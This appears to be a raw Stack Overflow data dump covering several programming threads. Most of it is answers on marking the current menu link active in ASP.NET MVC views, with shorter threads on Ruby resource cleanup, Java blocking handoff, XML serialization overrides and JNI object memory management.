"text": "<p>The fact that your View has to know about your controller's actions is breaking with the MVC pattern. Perhaps your controller could pass some \"control\" information to the view to ultimately allow it to accomplish the same thing, the only difference is who is in charge.</p>\n\n<p>Like in your controller's action you could:</p>\n\n<pre><code>public ActionResult Index(){\n ViewData[\"currentAction\"] = \"Index\";\n //... other code\n return View();\n}\n</code></pre>\n\n<p>Then over in your view you could:</p>\n\n<pre><code><% if( ((string)ViewData[\"currentAction\"]) == \"Index\" {%> <!- some links --><% } %>\n<% if( ((string)ViewData[\"currentAction\"]) == \"SomethingElse\" {%> <!- some links --><% } %>\n</code></pre>\n\n<p>However, the more I think about it the more I question why you are using the same View for multiple actions. Is the view <strong>that</strong> similar? </p>\n\n<p>If the use case justifies it then go with my above suggestion. But otherwise perhaps you could break things out into multiple views (one for each controller action) and the problem solves itself.</p>\n"
},
{
"answer_id": 216316,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": -1,
"selected": false,
"text": "<p>Try </p>\n\n\n\n<p>Should work fine !!!</p>\n\n<p>EDIT : REMOVED IN BETA1</p>\n\n<p>Removed the ViewName property from the ViewContext class.</p>\n"
},
{
"answer_id": 226120,
"author": "Craig Stuntz",
"author_id": 7714,
"author_profile": "https://Stackoverflow.com/users/7714",
"pm_score": 3,
"selected": false,
"text": "<p>Inside a view, you can get the current action name with:</p>\n\n<pre><code>ViewContext.RouteData.Values[\"action\"].ToString()\n</code></pre>\n"
},
{
"answer_id": 230334,
"author": "Jonathan S.",
"author_id": 2034,
"author_profile": "https://Stackoverflow.com/users/2034",
"pm_score": 0,
"selected": false,
"text": "<p>Based on the previous answers, here is what my current solution is for the same issue:</p>\n\n<p>In the master page I give each li an id that corresponds to the controller and the action, since this should be known from the ActionLink. I was previously doing this with the page title but this helps with organization.</p>\n\n<p>Site.Master:</p>\n\n<pre><code><ul id=\"menu\">\n <li id=\"menuHomeIndex\" runat=\"server\"><%= Html.ActionLink(\"Home\", \"Index\", \"Home\") %></li>\n <li id=\"menuHomeAbout\" runat=\"server\"><%= Html.ActionLink(\"About Us\", \"About\", \"Home\") %></li>\n</ul>\n</code></pre>\n\n<p>Site.Master.cs:</p>\n\n<pre><code>// This is called in Page_Load\nprivate void SetActiveLink()\n{\n string action = \"\" + ViewContext.RouteData.Values[\"controller\"] + ViewContext.RouteData.Values[\"action\"];\n var activeMenu = (HtmlGenericControl)Page.Master.FindControl(\"menu\" + action);\n\n if (activeMenu != null)\n {\n activeMenu.Attributes.Add(\"class\", \"selected\");\n }\n}\n</code></pre>\n\n<p>It's more work than the inline code but I think it's cleaner and also lets you have actions with the same name in different controllers. So if you add more menu items with different controllers, not all actions named Index will be highlighted in the menu.</p>\n\n<p>If anyone sees issues with this approach please let me know.</p>\n"
},
{
"answer_id": 326234,
"author": "labilbe",
"author_id": 1195872,
"author_profile": "https://Stackoverflow.com/users/1195872",
"pm_score": 3,
"selected": false,
"text": "<p>You can also try to detect which is the current selected tab from its controller name and view name, then add the class attribute.</p>\n\n<pre><code>public static string MenuActionLink(this HtmlHelper helper, string linkText, string actionName, string controllerName)\n{\n var htmlAttributes = new RouteValueDictionary();\n\n if (helper.ViewContext.Controller.GetType().Name.Equals(controllerName + \"Controller\", StringComparison.OrdinalIgnoreCase))\n {\n htmlAttributes.Add(\"class\", \"current\");\n }\n\n return helper.ActionLink(linkText, actionName, controllerName, new RouteValueDictionary(), htmlAttributes);\n}\n</code></pre>\n"
},
{
"answer_id": 326313,
"author": "Slee",
"author_id": 34548,
"author_profile": "https://Stackoverflow.com/users/34548",
"pm_score": 1,
"selected": false,
"text": "<p>This should work using jQuery on the client side of things, uses Google to serve the latest jQuery library:</p>\n\n<pre><code><script src=\"http://www.google.com/jsapi\" type=\"text/javascript\" language=\"javascript\"></script>\n<script type=\"text/javascript\" language=\"javascript\">google.load(\"jquery\", \"1\");</script> \n\n<script language=\"javascript\" type=\"text/javascript\">\n $(document).ready(function(){\n var str=location.href.toLowerCase(); \n $('#menucontainer ul#menu li a').each(function() {\n if (str.indexOf(this.href.toLowerCase()) > -1) {\n $(this).attr(\"class\",\"current\"); //hightlight parent tab\n } \n });\n }); \n </script>\n</code></pre>\n"
},
{
"answer_id": 366070,
"author": "Adam Carr",
"author_id": 1405,
"author_profile": "https://Stackoverflow.com/users/1405",
"pm_score": 5,
"selected": false,
"text": "<p>I made myself a helper method to handle this type of thing. In the code behind of my master page (could be pushed of to an extension method ... probably a better approach), I put the following code.</p>\n\n<pre><code>protected string ActiveActionLinkHelper(string linkText, string actionName, string controlName, string activeClassName)\n{\n if (ViewContext.RouteData.Values[\"action\"].ToString() == actionName && \n ViewContext.RouteData.Values[\"controller\"].ToString() == controlName)\n return Html.ActionLink(linkText, actionName, controlName, new { Class = activeClassName });\n\n return Html.ActionLink(linkText, actionName, controlName);\n}\n</code></pre>\n\n<p>Then, I just call it in my page like so:</p>\n\n<pre><code><%= ActiveActionLinkHelper(\"Home\", \"Index\", \"Home\", \"selected\")%>\n</code></pre>\n"
},
{
"answer_id": 6894018,
"author": "Ricardo Vera",
"author_id": 870299,
"author_profile": "https://Stackoverflow.com/users/870299",
"pm_score": 0,
"selected": false,
"text": "<p>Using MVC3 with a Razor View, you can implement this like:</p>\n\n<pre><code><ul id=\"menu\">\n @if (ViewContext.RouteData.Values[\"action\"].ToString() == \"Index\")\n {\n <li class=\"active\">@Html.ActionLink(\"Home\", \"Index\", \"Home\")</li>\n }\n else\n {\n <li>@Html.ActionLink(\"Home\", \"Index\", \"Home\")</li>\n }\n @if (ViewContext.RouteData.Values[\"action\"].ToString() == \"About\")\n {\n <li class=\"active\">@Html.ActionLink(\"About\", \"About\", \"Home\")</li>\n }\n else\n {\n <li>@Html.ActionLink(\"About\", \"About\", \"Home\")</li>\n }\n</ul>\n</code></pre>\n\n<p>And then applying your style of your \".active\" class like:</p>\n\n<pre><code>ul#menu li.active \n{\n text-decoration:underline;\n}\n</code></pre>\n"
},
{
"answer_id": 8312320,
"author": "Telvin Nguyen",
"author_id": 1041471,
"author_profile": "https://Stackoverflow.com/users/1041471",
"pm_score": 3,
"selected": false,
"text": "<p>In MVC 3 Razor View Engine, you can do it as:</p>\n\n<pre><code>@{string ctrName = ViewContext.RouteData.Values[\"controller\"].ToString();}\n\n<div id=\"menucontainer\">\n <ul id=\"menu\"> \n <li @if(ctrName == \"Home\"){<text> class=\"active\"</text>}>@ Html.ActionLink(\"Home\", \"Index\", \"Home\")</li>\n <li @if(ctrName == \"About\"){<text> class=\"active\"</text>}>@ Html.ActionLink(\"About Us\", \"About\", \"Home\")</li>\n </ul>\n</div>\n</code></pre>\n\n<p>My sample worked when I have two pages as: Home/About and its controller has same name Index, so I get controller Name for distinction insteed of action. If you want to get action, just replace with following:</p>\n\n<pre><code>@{string ctrName = ViewContext.RouteData.Values[\"action\"].ToString();}\n</code></pre>\n"
},
{
"answer_id": 10683129,
"author": "Yvo",
"author_id": 136819,
"author_profile": "https://Stackoverflow.com/users/136819",
"pm_score": 0,
"selected": false,
"text": "<p>Here is the version compatible with the current version of MVC4.<br>\nI have rewritten Adam Carr's code as an extension method.</p>\n\n<pre><code>using System;\nusing System.Web.Mvc;\nusing System.Web.Mvc.Html;\nusing System.Web.Routing;\n\nnamespace MyApp.Web {\n public static class HtmlHelpers {\n /// <summary>\n /// Returns an anchor element (a element) that contains the virtual path of the\n /// specified action. If the controller name matches the active controller, the\n /// css class 'current' will be applied.\n /// </summary>\n public static MvcHtmlString MenuActionLink(this HtmlHelper helper, string linkText, string actionName, string controllerName) {\n var htmlAttributes = new RouteValueDictionary();\n string name = helper.ViewContext.Controller.GetType().Name;\n\n if (name.Equals(controllerName + \"Controller\", StringComparison.OrdinalIgnoreCase))\n htmlAttributes.Add(\"class\", \"current\");\n\n return helper.ActionLink(linkText, actionName, controllerName, new RouteValueDictionary(), htmlAttributes);\n }\n }\n}\n</code></pre>\n"
},
{
"answer_id": 10850198,
"author": "Tim Iles",
"author_id": 487544,
"author_profile": "https://Stackoverflow.com/users/487544",
"pm_score": 3,
"selected": false,
"text": "<p>To contribute my own answer (tested in MVC4), I took a few best bits of the other answers, fixed a few issues, and added a helper to work with urls that aren't necessarily resolved via Controller & Action (eg. if you have an embedded CMS dealing with some page links, etc.)</p>\n\n<p>The code is also forkable on github: <a href=\"https://gist.github.com/2851684\" rel=\"noreferrer\">https://gist.github.com/2851684</a></p>\n\n<pre><code>/// \n/// adds the active class if the link's action & controller matches current request\n/// \npublic static MvcHtmlString MenuActionLink(this HtmlHelper htmlHelper,\n string linkText, string actionName, string controllerName,\n object routeValues = null, object htmlAttributes = null,\n string activeClassName = \"active\")\n{\n IDictionary htmlAttributesDictionary =\n HtmlHelper.AnonymousObjectToHtmlAttributes(htmlAttributes);\n\n if (((string)htmlHelper.ViewContext.RouteData.Values[\"controller\"])\n .Equals(controllerName, StringComparison.OrdinalIgnoreCase) &&\n ((string)htmlHelper.ViewContext.RouteData.Values[\"action\"])\n .Equals(actionName, StringComparison.OrdinalIgnoreCase))\n {\n // careful in case class already exists\n htmlAttributesDictionary[\"class\"] += \" \" + activeClassName;\n }\n\n return htmlHelper.ActionLink(linkText, actionName, controllerName,\n new RouteValueDictionary(routeValues),\n htmlAttributesDictionary);\n}\n\n/// \n/// adds the active class if the link's path matches current request\n/// \npublic static MvcHtmlString MenuActionLink(this HtmlHelper htmlHelper,\n string linkText, string path, object htmlAttributes = null,\n string activeClassName = \"active\")\n{\n IDictionary htmlAttributesDictionary =\n HtmlHelper.AnonymousObjectToHtmlAttributes(htmlAttributes);\n if (HttpContext.Current.Request.Path\n .Equals(path, StringComparison.OrdinalIgnoreCase))\n {\n // careful in case class already exists\n htmlAttributesDictionary[\"class\"] += \" \" + activeClassName;\n }\n var tagBuilder = new TagBuilder(\"a\")\n {\n InnerHtml = !string.IsNullOrEmpty(linkText)\n ? HttpUtility.HtmlEncode(linkText)\n : string.Empty\n };\n tagBuilder.MergeAttributes(htmlAttributesDictionary);\n tagBuilder.MergeAttribute(\"href\", path);\n return MvcHtmlString.Create(tagBuilder.ToString(TagRenderMode.Normal));\n}</code></pre>\n"
},
{
"answer_id": 15315818,
"author": "Bermy Dev",
"author_id": 2152420,
"author_profile": "https://Stackoverflow.com/users/2152420",
"pm_score": 1,
"selected": false,
"text": "<p>I wanted to have a bit more control over my layout, and this is what I did.</p>\n\n<p>Create a LayoutModel that other models inherit:</p>\n\n<pre><code>public abstract class LayoutModel\n{\n public CurrentPage CurrentPage { get; set; }\n}\n</code></pre>\n\n<p>Create a LayoutAttribute that inherits from ActionFilterAttribute like so:</p>\n\n<pre><code>public class LayoutAttribute : ActionFilterAttribute\n{\n private CurrentPage _currentPage { get; set; }\n\n public LayoutAttribute(\n CurrentPage CurrentPage\n ){\n _currentPage = CurrentPage;\n }\n\n public override void OnActionExecuted(ActionExecutedContext filterContext)\n {\n var result = filterContext.Result as ViewResultBase;\n if (result == null || result.Model == null || !(result.Model is LayoutModel)) return;\n\n ((LayoutModel)result.Model).CurrentPage = _currentPage;\n }\n}\n</code></pre>\n\n<p>Now on the Action or Controller level I can set the current page (and other stuff if I wanted) like this:</p>\n\n<pre><code>[Layout(CurrentPage.Account)]\npublic class MyController : Controller\n{\n\n}\n</code></pre>\n\n<p>In my layout view I now have access to the current page, and whatever else I add to the LayoutModel.</p>\n"
},
{
"answer_id": 22595795,
"author": "Anytoe",
"author_id": 1367811,
"author_profile": "https://Stackoverflow.com/users/1367811",
"pm_score": 2,
"selected": false,
"text": "<p>Using MVC3 with a Razor View offers another option:</p>\n\n<p>_Layout.cshtml:</p>\n\n<pre><code><li class=\"@ViewBag.NavClassHome\">@Html.ActionLink(\"Home\", \"Index\", \"Home\")</li>\n<li class=\"@ViewBag.NavClassAbout\">@Html.ActionLink(\"Disclaimer\", \"About\", \"Home\")</li>\n</code></pre>\n\n<p>HomeController: </p>\n\n<pre><code>public ActionResult Index() {\n ViewBag.NavClassHome = \"active\";\n return View();\n} \n\npublic ActionResult About() {\n ViewBag.NavClassAbout = \"active\";\n return View();\n}\n</code></pre>\n\n<p>If you want to preserve this for a postback as well, you have to assign the ViewBag value here as well:</p>\n\n<pre><code>[HttpPost]\npublic ActionResult Index() {\n ViewBag.NavClassHome = \"active\";\n return View();\n}\n\n[HttpPost]\npublic ActionResult About() {\n ViewBag.NavClassAbout = \"active\";\n return View();\n}\n</code></pre>\n\n<p>Tested and working fine for me, but you will have a css class name in your server side code.</p>\n"
},
{
"answer_id": 31123936,
"author": "Nanan",
"author_id": 5062725,
"author_profile": "https://Stackoverflow.com/users/5062725",
"pm_score": 3,
"selected": false,
"text": "<p>An old question but hopefully someone might find this very helpful.</p>\n\n<ol>\n<li>Put some thing that you can use to identify your page in the <strong>ViewBag</strong>, I used <strong>ViewgBag.PageName</strong></li>\n</ol>\n\n<p>For example, in <strong>index.cshtml</strong>, put something like</p>\n\n<pre><code>@{\n ViewBag.PageName = \"Index\";\n}\n</code></pre>\n\n<ol start=\"2\">\n<li>Add a class to each link item with a conditional statement to return <em>active</em> if the page being visited has the required value, or return an empty string otherwise. View below for details:</li>\n</ol>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><li class=\"@((ViewBag.PageName == \"Index\") ? \"active\" : \"\")\"><a href=\"@Url.Action(\"Index\",\"Home\")\">Home</a></li>\r\n<li class=\"@((ViewBag.PageName == \"About\") ? \"active\" : \"\")\"><a href=\"@Url.Action(\"About\",\"Home\")\">About</a></li>\r\n<li class=\"@((ViewBag.PageName == \"Contact\") ? \"active\" : \"\")\"><a href=\"@Url.Action(\"Contact\",\"Home\")\">Contact</a></li></code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p>I didn't just test it, I use this method in my projects</p>\n"
},
{
"answer_id": 62834436,
"author": "Farhana",
"author_id": 11040220,
"author_profile": "https://Stackoverflow.com/users/11040220",
"pm_score": 0,
"selected": false,
"text": "<p>Hope this will help.</p>\n<pre><code><ul>\n <li class="@(ViewContext.RouteData.Values["Controller"].ToString() == "Home" ? "active" : "")">\n <a asp-area="" asp-controller="Home" asp-action="Index"><i class="icon fa fa-home"></i><span>Home</span>\n </a>\n </li>\n</ul>\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214583",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29092/"
] |
In the default asp.net mvc project, in the Site.Master file, there is a menu navigation list:
```
<div id="menucontainer">
<ul id="menu">
<li><%= Html.ActionLink("Home", "Index", "Home")%></li>
<li><%= Html.ActionLink("About Us", "About", "Home")%></li>
</ul>
</div>
```
This renders in the browser to:
```
<div id="menucontainer">
<ul id="menu">
<li><a href="/">Home</a></li>
<li><a href="/Home/About">About Us</a></li>
</ul>
</div>
```
I want to be able to dynamically set the active list item, based on the view that is being called. That is, when the user is looking at the home page, I would want the following HTML to be created:
```
<div id="menucontainer">
<ul id="menu">
<li class="active"><a href="/">Home</a></li>
<li><a href="/Home/About">About Us</a></li>
</ul>
</div>
```
I would expect that the way to do this would be something like:
```
<div id="menucontainer">
<ul id="menu">
<li <% if(actionName == "Index"){%> class="active"<%}%>><%= Html.ActionLink("Home", "Index", "Home")%></li>
<li <% if(actionName == "About"){%> class="active"<%}%>><%= Html.ActionLink("About Us", "About", "Home")%></li>
</ul>
</div>
```
The key bit here is the `<% if(actionName == "Index"){%> class="active"<%}%>` line. I do not know how to determine what the current actionName is.
Any suggestions on how to do this? Or, if I'm on completely the wrong track, is there a better way to do this?
|
I made myself a helper method to handle this type of thing. In the code behind of my master page (could be pushed of to an extension method ... probably a better approach), I put the following code.
```
protected string ActiveActionLinkHelper(string linkText, string actionName, string controlName, string activeClassName)
{
if (ViewContext.RouteData.Values["action"].ToString() == actionName &&
ViewContext.RouteData.Values["controller"].ToString() == controlName)
return Html.ActionLink(linkText, actionName, controlName, new { Class = activeClassName });
return Html.ActionLink(linkText, actionName, controlName);
}
```
Then, I just call it in my page like so:
```
<%= ActiveActionLinkHelper("Home", "Index", "Home", "selected")%>
```
|
214,640 |
<p>It's just so much <code>HRESULT E_FAIL</code>, if you know what I'm talking about. </p>
<p>And if you use Visual Studio, you know what I'm talking about.</p>
<p>Similar thread, but not a duplicate: <a href="https://stackoverflow.com/questions/196001/is-the-design-view-for-aspx-pages-in-visual-studio-useful">Is the design view for aspx pages in Visual Studio useful?</a></p>
<p>Any insight, including input from Microsoft MVPs (oh, I know you're out there) would be super cool.</p>
|
[
{
"answer_id": 3284130,
"author": "ItsPronounced",
"author_id": 355754,
"author_profile": "https://Stackoverflow.com/users/355754",
"pm_score": -1,
"selected": false,
"text": "<p>Try this:\nPut your MasterPages in a seperate folder (if they aren't already. Call it <code>masterpages</code>. Then add this to your <code>web.config</code>:</p>\n\n<pre><code><location path=\"MasterPage\">\n<system.web>\n <authorization>\n <allow users=\"?\" />\n </authorization>\n</system.web>\n</code></pre>\n\n<p></p>\n\n<p>This will allow anonymous access to that folder and allow access to the masterpage. Also, are these nested masterpages?</p>\n"
},
{
"answer_id": 21383444,
"author": "Suhaib Janjua",
"author_id": 3240038,
"author_profile": "https://Stackoverflow.com/users/3240038",
"pm_score": 2,
"selected": false,
"text": "<p>There could be some possible reasons.</p>\n\n<p>1st is if you have created a web form (aspx) page Nested it with Master Page;\nand on the child page you registered a control where you have develop your page.</p>\n\n<p>in short I want to say that.</p>\n\n<p>You nested your child page in the Master page but on that child page you only registered some controls and nothing else. \nSo you can view the master page only on that child page.</p>\n\n<p>You can't see the master page on the controller pages.</p>\n\n<p>Because Controller pages are just partial pages so they don't load the master page.</p>\n\n<p>Master Page <- Child Page <- Registered a control on child page</p>\n\n<pre><code><%@ Register Src=\"Ctrl_AdminReports.ascx\" TagName=\"Ctrl_AdminReports\" TagPrefix=\"uc1\" %>\n</code></pre>\n\n<p>you can only access the master page controls on its direct child.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214640",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13578/"
] |
It's just so much `HRESULT E_FAIL`, if you know what I'm talking about.
And if you use Visual Studio, you know what I'm talking about.
Similar thread, but not a duplicate: [Is the design view for aspx pages in Visual Studio useful?](https://stackoverflow.com/questions/196001/is-the-design-view-for-aspx-pages-in-visual-studio-useful)
Any insight, including input from Microsoft MVPs (oh, I know you're out there) would be super cool.
|
There could be some possible reasons.
1st is if you have created a web form (aspx) page Nested it with Master Page;
and on the child page you registered a control where you have develop your page.
in short I want to say that.
You nested your child page in the Master page but on that child page you only registered some controls and nothing else.
So you can view the master page only on that child page.
You can't see the master page on the controller pages.
Because Controller pages are just partial pages so they don't load the master page.
Master Page <- Child Page <- Registered a control on child page
```
<%@ Register Src="Ctrl_AdminReports.ascx" TagName="Ctrl_AdminReports" TagPrefix="uc1" %>
```
you can only access the master page controls on its direct child.
|
214,642 |
<p>I know it's by design that you can't control what happens when an object is destroyed. I am also aware of defining some class method as a finalizer.</p>
<p>However is the ruby idiom for C++'s RAII (Resources are initialized in constructor, closed in destructor)? How do people manage resources used inside objects even when errors or exceptions happen?</p>
<p>Using <em>ensure</em> works:</p>
<pre><code>f = File.open("testfile")
begin
# .. process
rescue
# .. handle error
ensure
f.close unless f.nil?
end
</code></pre>
<p>but users of the class <strong>have to remember to do the whole begin-rescue-ensure chacha</strong> everytime the open method needs to be called. </p>
<p>So for example, I'll have the following class:</p>
<pre><code>class SomeResource
def initialize(connection_string)
@resource_handle = ...some mojo here...
end
def do_something()
begin
@resource_handle.do_that()
...
rescue
...
ensure
end
def close
@resource_handle.close
end
end
</code></pre>
<p>The resource_handle won't be closed if the exception is cause by some other class and the script exits.</p>
<p>Or is the problem more of I'm still doing this too C++-like?</p>
|
[
{
"answer_id": 214648,
"author": "John Millikin",
"author_id": 3560,
"author_profile": "https://Stackoverflow.com/users/3560",
"pm_score": -1,
"selected": false,
"text": "<p>See <a href=\"http://www.rubycentral.com/pickaxe/tut_exceptions.html\" rel=\"nofollow noreferrer\">http://www.rubycentral.com/pickaxe/tut_exceptions.html</a></p>\n\n<p>In Ruby, you would use an <code>ensure</code> statement:</p>\n\n<pre><code>f = File.open(\"testfile\")\nbegin\n # .. process\nrescue\n # .. handle error\nensure\n f.close unless f.nil?\nend\n</code></pre>\n\n<p>This will be familiar to users of Python, Java, or C# in that it works like try / catch / finally.</p>\n"
},
{
"answer_id": 214663,
"author": "bk1e",
"author_id": 8090,
"author_profile": "https://Stackoverflow.com/users/8090",
"pm_score": 3,
"selected": false,
"text": "<p>How about <code>yield</code>ing a resource to a block? Example:</p>\n\n<pre><code>File.open(\"testfile\") do |f|\n begin\n # .. process\n rescue\n # .. handle error\n end\nend\n</code></pre>\n"
},
{
"answer_id": 1077774,
"author": "Greg",
"author_id": 384507,
"author_profile": "https://Stackoverflow.com/users/384507",
"pm_score": 5,
"selected": true,
"text": "<p>So that users don't \"<em>have to remember to do the whole begin-rescue-ensure chacha</em>\" combine <code>rescue</code>/<code>ensure</code> with <code>yield</code>.</p>\n\n<pre><code>class SomeResource\n ...\n def SomeResource.use(*resource_args)\n # create resource\n resource = SomeResource.new(*resource_args) # pass args direct to constructor\n # export it\n yield resource\n rescue\n # known error processing\n ...\n ensure\n # close up when done even if unhandled exception thrown from block\n resource.close\n end\n ...\nend\n</code></pre>\n\n<p>Client code can use it as follows:</p>\n\n<pre><code>SomeResource.use(connection_string) do | resource |\n resource.do_something\n ... # whatever else\nend\n# after this point resource has been .close()d\n</code></pre>\n\n<p>In fact this is how <code>File.open</code> operates - making the first answer confusing at best (well it was to <em>my</em> work colleagues).</p>\n\n<pre><code>File.open(\"testfile\") do |f|\n # .. process - may include throwing exceptions\nend\n# f is guaranteed closed after this point even if exceptions are \n# thrown during processing\n</code></pre>\n"
},
{
"answer_id": 4309164,
"author": "Julik",
"author_id": 153886,
"author_profile": "https://Stackoverflow.com/users/153886",
"pm_score": 2,
"selected": false,
"text": "<blockquote>\n <p>Or is the problem more of I'm still doing this too C++-like?</p>\n</blockquote>\n\n<p>Yes it is since in C++ resource deallocation happens implicitly for everything on the stack. Stack unwound = resource destroyed = destructors called and from there things can be released. Since Ruby has no destructors there is no \"do that when everything else is done with\" place since grabage collection can be delayed several cycles from where you are. You do have finalizers but they are called \"in limbo\" (not everything is available to them) and they get called on GC.</p>\n\n<p>Therefore if you are holding a handle to some resource that better be released you need to release it explicitly. Indeed the correct idiom to handle this kind of situation is</p>\n\n<pre><code>def with_shmoo\n handle = allocate_shmoo\n yield(handle)\nensure\n handle.close\nend\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214642",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26374/"
] |
I know it's by design that you can't control what happens when an object is destroyed. I am also aware of defining some class method as a finalizer.
However is the ruby idiom for C++'s RAII (Resources are initialized in constructor, closed in destructor)? How do people manage resources used inside objects even when errors or exceptions happen?
Using *ensure* works:
```
f = File.open("testfile")
begin
# .. process
rescue
# .. handle error
ensure
f.close unless f.nil?
end
```
but users of the class **have to remember to do the whole begin-rescue-ensure chacha** everytime the open method needs to be called.
So for example, I'll have the following class:
```
class SomeResource
def initialize(connection_string)
@resource_handle = ...some mojo here...
end
def do_something()
begin
@resource_handle.do_that()
...
rescue
...
ensure
end
def close
@resource_handle.close
end
end
```
The resource\_handle won't be closed if the exception is cause by some other class and the script exits.
Or is the problem more of I'm still doing this too C++-like?
|
So that users don't "*have to remember to do the whole begin-rescue-ensure chacha*" combine `rescue`/`ensure` with `yield`.
```
class SomeResource
...
def SomeResource.use(*resource_args)
# create resource
resource = SomeResource.new(*resource_args) # pass args direct to constructor
# export it
yield resource
rescue
# known error processing
...
ensure
# close up when done even if unhandled exception thrown from block
resource.close
end
...
end
```
Client code can use it as follows:
```
SomeResource.use(connection_string) do | resource |
resource.do_something
... # whatever else
end
# after this point resource has been .close()d
```
In fact this is how `File.open` operates - making the first answer confusing at best (well it was to *my* work colleagues).
```
File.open("testfile") do |f|
# .. process - may include throwing exceptions
end
# f is guaranteed closed after this point even if exceptions are
# thrown during processing
```
|
214,661 |
<p>Essentially what I want is a BlockingQueue of size=1. I have a "listener" thread that simply waits, blocking until an object is put into the queue, and then retrieves it--and a "producer" thread that actually puts the object into the queue.</p>
<p>I can implement this with some synchronized blocks and a BlockingQueue implementation, but that seems like overkill. Is there a better, simpler way to do what I want?</p>
<p>Example interface:</p>
<pre><code>public interface Wait<T> {
/**
* If "put" has never been called on this object, then this method will
* block and wait until it has. Once "put" has been called with some T, this
* method will return that T immediately.
*/
public T get() throws InterruptedException;
/**
* @param object The object to return to callers of get(). If called more
* than once, will throw an {@link IllegalStateException}.
*/
public void put(T object);
}
</code></pre>
|
[
{
"answer_id": 214673,
"author": "benPearce",
"author_id": 4490,
"author_profile": "https://Stackoverflow.com/users/4490",
"pm_score": 0,
"selected": false,
"text": "<p>Use reflection to get the values of all the properties from the class then write them as attributes on to an XmlNode</p>\n\n<pre><code>PropertyInfo[] properties = control.GetType().GetProperties();\nforeach (PropertyInfo property in properties)\n{\n object o = property.GetValue(control, null);\n // write value of o.ToString() out as an attribute on a XmlNode\n // where attribute name is property.Name\n}\n</code></pre>\n"
},
{
"answer_id": 216031,
"author": "hurst",
"author_id": 10991,
"author_profile": "https://Stackoverflow.com/users/10991",
"pm_score": 3,
"selected": true,
"text": "<p>Have you looked into using XmlAttributeOverrides? </p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/system.xml.serialization.xmlattributeoverrides.aspx\" rel=\"nofollow noreferrer\">.NET Framework Class Library: XmlAttributeOverrides Class</a></p>\n\n<blockquote>\n <p>first, you can control and augment the serialization of objects found in a DLL--<strong>even if you do not have access to the source</strong>; </p>\n \n <p>second, you can create one set of serializable classes, but <strong>serialize the objects in</strong>\n <strong>multiple ways</strong>. For example, instead of serializing members of a class\n instance as XML elements, you can serialize them as XML attributes,\n resulting in a more efficient document to transport.</p>\n</blockquote>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214661",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29173/"
] |
Essentially what I want is a BlockingQueue of size=1. I have a "listener" thread that simply waits, blocking until an object is put into the queue, and then retrieves it--and a "producer" thread that actually puts the object into the queue.
I can implement this with some synchronized blocks and a BlockingQueue implementation, but that seems like overkill. Is there a better, simpler way to do what I want?
Example interface:
```
public interface Wait<T> {
/**
* If "put" has never been called on this object, then this method will
* block and wait until it has. Once "put" has been called with some T, this
* method will return that T immediately.
*/
public T get() throws InterruptedException;
/**
* @param object The object to return to callers of get(). If called more
* than once, will throw an {@link IllegalStateException}.
*/
public void put(T object);
}
```
|
Have you looked into using XmlAttributeOverrides?
[.NET Framework Class Library: XmlAttributeOverrides Class](http://msdn.microsoft.com/en-us/system.xml.serialization.xmlattributeoverrides.aspx)
>
> first, you can control and augment the serialization of objects found in a DLL--**even if you do not have access to the source**;
>
>
> second, you can create one set of serializable classes, but **serialize the objects in**
> **multiple ways**. For example, instead of serializing members of a class
> instance as XML elements, you can serialize them as XML attributes,
> resulting in a more efficient document to transport.
>
>
>
|
214,699 |
<p>When I'm building a java object using JNI methods, in order to pass it in as a parameter to a java method I'm invoking using the JNI invocation API, how do I manage its memory? </p>
<p>Here's what I am working with:</p>
<p>I have a C object that has a destructor method that is more complex that <code>free()</code>. This C object is to be associated with a Java object, and once the application is finished with the Java object, I have no more need for the C object.</p>
<p>I am creating the Java object like so (error checking elided for clarity):</p>
<pre><code>c_object = c_object_create ();
class = (*env)->FindClass (env, "my.class.name");
constructor = (*env)->GetMethodID (env, class, "<init>", "(J)V");
instance = (*env)->NewObject (env, class, constructor, (jlong) c_object);
method = (*env)->GetMethodID (env, other_class, "doSomeWork", "(Lmy.class.name)V");
(*env)->CallVoidMethod (env, other_class, method, instance);
</code></pre>
<p>So, now that I'm done with <code>instance</code>, what do I do with it? Ideally, I'd like to leave the garbage collection up to the VM; when it's done with <code>instance</code> it would be fantastic if it also called <code>c_object_destroy()</code> on the pointer I provided to it. Is this possible?</p>
<p>A separate, but related question has to do with the scope of Java entities that I create in a method like this; do I have to manually release, say, <code>class</code>, <code>constructor</code>, or <code>method</code> above? The JNI doc is frustratingly vague (in my judgement) on the subject of proper memory management.</p>
|
[
{
"answer_id": 214723,
"author": "ddimitrov",
"author_id": 18187,
"author_profile": "https://Stackoverflow.com/users/18187",
"pm_score": 0,
"selected": false,
"text": "<p>The GC would collect your instance, but it will not automatically release the non-java heap memory allocated in the native code. You should have explicit method in your class to release the c_object instance.</p>\n\n<p>This is one of the cases where I'd recommend using a finalizer checking if c_object has been released and release it, logging a message if it's not. </p>\n\n<p>A useful technique is to create a Throwable instance in the Java class constructor and store it in a field (or just initialize the field inline). If the finalizer detects that the class has not been properly disposed it would print the stacktrace, pinpointing the allocation stack.</p>\n\n<p>A suggestion is to avoid doing straight JNI and go with <a href=\"https://gluegen.dev.java.net/\" rel=\"nofollow noreferrer\">gluegen</a> or <a href=\"http://www.swig.org/\" rel=\"nofollow noreferrer\">Swig</a> (both generate code and can be statically linked).</p>\n"
},
{
"answer_id": 215240,
"author": "JesperE",
"author_id": 13051,
"author_profile": "https://Stackoverflow.com/users/13051",
"pm_score": 4,
"selected": true,
